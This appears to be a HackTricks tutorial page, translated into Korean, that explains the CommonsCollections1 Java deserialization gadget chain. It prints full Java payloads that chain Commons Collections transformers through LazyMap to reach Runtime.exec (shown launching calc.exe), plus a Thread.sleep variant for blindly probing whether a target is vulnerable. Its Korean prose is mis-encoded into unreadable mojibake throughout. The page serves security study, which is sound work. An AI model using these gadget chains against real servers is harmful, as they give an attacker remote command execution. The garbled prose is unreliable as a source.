CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
Reading time: 6 minutes
tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Java Transformers to Rutime exec()
์ฌ๋ฌ ๊ณณ์์ ๋ค์๊ณผ ๊ฐ์ Apache common collections์ transformers๋ฅผ ์ฌ์ฉํ๋ java deserialization payload๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Java deserialization payloads์ ๋ํด ์๋ฌด๊ฒ๋ ๋ชจ๋ฅธ๋ค๋ฉด ์ด ์ฝ๋๊ฐ calc๋ฅผ ์คํํ๋ ์ด์ ๋ฅผ ํ์ ํ๊ธฐ ์ด๋ ค์ธ ์ ์์ต๋๋ค.
์ฐ์ , Java์ Transformer๋ ํด๋์ค๋ฅผ ์์ ํ๊ณ ๋ค๋ฅธ ํด๋์ค๋ก ๋ณํํ๋ ๊ฒ์
๋๋ค.
๋ํ ์ฌ๊ธฐ์ ์คํ๋๋ payload๋ ๋ค์๊ณผ ๋๋ฑํ๋ค๋ ๊ฒ์ ์๋ ๊ฒ์ด ํฅ๋ฏธ๋กญ์ต๋๋ค:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
๋๋ ๋ ์ ํํ ๋งํ์๋ฉด, ๋ง์ง๋ง์ ์คํ๋ ๊ฒ์:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
๋ฐฉ๋ฒ
๊ทธ๋์ ์ฒซ ๋ฒ์งธ ํ์ด๋ก๋๊ฐ ๊ทธ "๊ฐ๋จํ" ํ ์ค์ง๋ฆฌ์ ์ด๋ป๊ฒ ๋๋ฑํ๊ฐ์?
์ฒซ์งธ๋ก, ํ์ด๋ก๋์์ ๋ณํ์ ์ฒด์ธ(๋ฐฐ์ด)์ด ์์ฑ๋๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
์ฝ๋๋ฅผ ์ฝ์ด๋ณด๋ฉด ๋ฐฐ์ด์ ๋ณํ์ ์ด๋ป๊ฒ๋ ์ฐ๊ฒฐํ๋ฉด ์์์ ๋ช ๋ น์ ์คํํ ์ ์๋ค๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
๊ทธ๋์, ๊ทธ ๋ณํ๋ค์ ์ด๋ป๊ฒ ์ฐ๊ฒฐ๋๋์?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
ํ์ด๋ก๋์ ๋ง์ง๋ง ์น์
์์ Map ๊ฐ์ฒด๊ฐ ์์ฑ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์, LazyMap
์์ ๋งต ๊ฐ์ฒด์ ์ฒด์ธ๋ ๋ณํ๊ธฐ๋ฅผ ์ฌ์ฉํ์ฌ decorate
ํจ์๊ฐ ์คํ๋ฉ๋๋ค. ๋ค์ ์ฝ๋๋ฅผ ํตํด ์ฒด์ธ๋ ๋ณํ๊ธฐ๊ฐ lazyMap.factory
์์ฑ ์์ ๋ณต์ฌ๋๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง ๋๋ฏธ๊ฐ ์คํ๋ฉ๋๋ค: lazyMap.get("anything");
์ด๊ฒ์ get
ํจ์์ ์ฝ๋์
๋๋ค:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
๊ทธ๋ฆฌ๊ณ ์ด๊ฒ์ transform
ํจ์์ ์ฝ๋์
๋๋ค.
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
๊ทธ๋์ factory ์์ **chainedTransformer
**๋ฅผ ์ ์ฅํ์ผ๋ฉฐ, transform
ํจ์ ์์์ ๋ชจ๋ ์ฒด์ธ๋ ๋ณํ๊ธฐ๋ฅผ ์์ฐจ์ ์ผ๋ก ์คํํ๊ณ ์์ต๋๋ค. ์ฌ๋ฏธ์๋ ์ ์ ๊ฐ ๋ณํ๊ธฐ๊ฐ object
๋ฅผ ์
๋ ฅ์ผ๋ก ์ฌ์ฉํ๊ณ object๊ฐ ๋ง์ง๋ง์ผ๋ก ์คํ๋ ๋ณํ๊ธฐ์ ์ถ๋ ฅ์ด๋ผ๋ ๊ฒ์
๋๋ค. ๋ฐ๋ผ์ ๋ชจ๋ ๋ณํ์ด ์
์์ ์ธ ํ์ด๋ก๋๋ฅผ ์ฒด์ธ์ผ๋ก ์คํํ๊ณ ์์ต๋๋ค.
์์ฝ
๊ฒฐ๊ตญ, lazyMap์ด get ๋ฉ์๋ ์์์ ์ฒด์ธ๋ ๋ณํ๊ธฐ๋ฅผ ๊ด๋ฆฌํ๋ ๋ฐฉ์ ๋๋ฌธ์, ๋ง์น ์ฐ๋ฆฌ๊ฐ ๋ค์ ์ฝ๋๋ฅผ ์คํํ๋ ๊ฒ๊ณผ ๊ฐ์ต๋๋ค:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
๊ฐ ๋ณํ์ ์
๋ ฅ์ด value
์ด๊ณ ์ด์ ๋ณํ์ ์ถ๋ ฅ์์ ์ฃผ๋ชฉํ์ธ์. ์ด๋ ํ ์ค ์ฝ๋๋ฅผ ์คํํ ์ ์๊ฒ ํฉ๋๋ค:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
์ฌ๊ธฐ์์ ComonsCollections1 ํ์ด๋ก๋์ ์ฌ์ฉ๋ ๊ฐ์ ฏ์ด ์ค๋ช
๋์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ชจ๋ ๊ฒ์ด ์ด๋ป๊ฒ ์คํ๋๋์ง๋ ๋จ๊ฒจ์ ธ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ysoserial๋ฅผ ๋ณด๋ฉด, ์ด ํ์ด๋ก๋๋ฅผ ์คํํ๊ธฐ ์ํด AnnotationInvocationHandler
๊ฐ์ฒด๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด ๊ฐ์ฒด๊ฐ ์ญ์ง๋ ฌํ๋๋ฉด, payload.get()
ํจ์๋ฅผ ํธ์ถํ์ฌ ์ ์ฒด ํ์ด๋ก๋๋ฅผ ์คํํฉ๋๋ค.
Java Thread Sleep
์ด ํ์ด๋ก๋๋ ์น์ด ์ทจ์ฝํ์ง ํ์ธํ๋ ๋ฐ ์ ์ฉํ ์ ์์ผ๋ฉฐ, ์ทจ์ฝํ๋ค๋ฉด ์ฌ๋ฆฝ์ ์คํํฉ๋๋ค.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
๋ ๋ง์ ๊ฐ์ ฏ
์ฌ๊ธฐ์์ ๋ ๋ง์ ๊ฐ์ ฏ์ ์ฐพ์ ์ ์์ต๋๋ค: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.